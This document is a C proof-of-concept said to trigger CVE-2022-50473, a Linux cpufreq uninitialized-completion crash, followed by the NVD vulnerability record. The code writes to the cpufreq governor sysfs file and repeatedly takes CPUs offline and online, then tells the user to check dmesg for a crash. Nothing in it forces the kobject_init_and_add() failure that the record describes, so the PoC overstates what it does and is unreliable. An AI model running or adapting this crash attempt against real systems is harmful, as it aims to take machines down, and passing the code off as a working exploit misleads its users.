CVE-2022-50473

/* CVE-2022-50473 PoC - Trigger uninitialized completion crash in cpufreq * This PoC attempts to trigger the vulnerability by loading the acpi_cpufreq * module under conditions that cause kobject_init_and_add() to fail. * * Note: Reproducing this reliably requires specific system conditions. * The crash typically occurs during CPU frequency driver initialization. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <string.h> #include <errno.h> /* Trigger by attempting to reload cpufreq driver with stress conditions */ int main(int argc, char *argv[]) { printf("CVE-2022-50473 PoC - cpufreq uninitialized completion\n"); /* Method 1: Try to trigger via CPU hotplug during driver init */ /* Write to cpufreq sysfs to potentially trigger the race condition */ int fd; char buf[256]; /* Attempt to access cpufreq sysfs interface */ fd = open("/sys/devices/system/cpu/cpu0/cpufreq/scaling_governor", O_WRONLY); if (fd >= 0) { snprintf(buf, sizeof(buf), "performance\n"); write(fd, buf, strlen(buf)); close(fd); printf("Triggered cpufreq sysfs access\n"); } /* Method 2: Rapid CPU online/offline to stress cpufreq subsystem */ for (int cpu = 1; cpu < 8; cpu++) { char path[128]; snprintf(path, sizeof(path), "/sys/devices/system/cpu/cpu%d/online", cpu); fd = open(path, O_WRONLY); if (fd >= 0) { write(fd, "0\n", 2); usleep(1000); write(fd, "1\n", 2); close(fd); } } printf("PoC execution completed. Check dmesg for crash.\n"); return 0; }

{"cve": {"id": "CVE-2022-50473", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:43.793", "lastModified": "2026-01-23T16:37:12.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncpufreq: Init completion before kobject_init_and_add()\n\nIn cpufreq_policy_alloc(), it will call uninitialed completion in\ncpufreq_sysfs_release() when kobject_init_and_add() fails. And\nthat will cause a crash such as the following page fault in complete:\n\nBUG: unable to handle page fault for address: fffffffffffffff8\n[..]\nRIP: 0010:complete+0x98/0x1f0\n[..]\nCall Trace:\n kobject_put+0x1be/0x4c0\n cpufreq_online.cold+0xee/0x1fd\n cpufreq_add_dev+0x183/0x1e0\n subsys_interface_register+0x3f5/0x4e0\n cpufreq_register_driver+0x3b7/0x670\n acpi_cpufreq_init+0x56c/0x1000 [acpi_cpufreq]\n do_one_initcall+0x13d/0x780\n do_init_module+0x1c3/0x630\n load_module+0x6e67/0x73b0\n __do_sys_finit_module+0x181/0x240\n do_syscall_64+0x35/0x80\n entry_SYSCALL_64_after_hwframe+0x63/0xcd"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-908"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.1.6", "versionEndExcluding": "5.4.229", "matchCriteriaId": "82496978-FDB6-4F42-AE01-35664DBE45EB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.163", "matchCriteriaId": "D05D31FC-BD74-4F9E-B1D8-9CED62BE6F65"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.87", "matchCriteriaId": "7B9E5B1C-CD46-4790-9500-615863850401"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.0.18", "matchCriteriaId": "08D38C5F-9644-4549-BBA6-F0860F024D14"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.4", "matchCriteriaId": "BC4189D9-5478-4E88-A78D-9C1DE29B217C"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3cdd91a9163248935720927531066b74f57aa43b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5c51054896bcce1d33d39fead2af73fec24f40b6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8fb4c98f20dfca1237de2e3dfdbe78d156784fd3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d88540acfc7a17079021d866de914112c396edb1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e379b88a8f8cffc99b318e028705ed9e3da0e1e0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e7c0c943ed675b66d4bbb16c51c6a3bb58da047e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}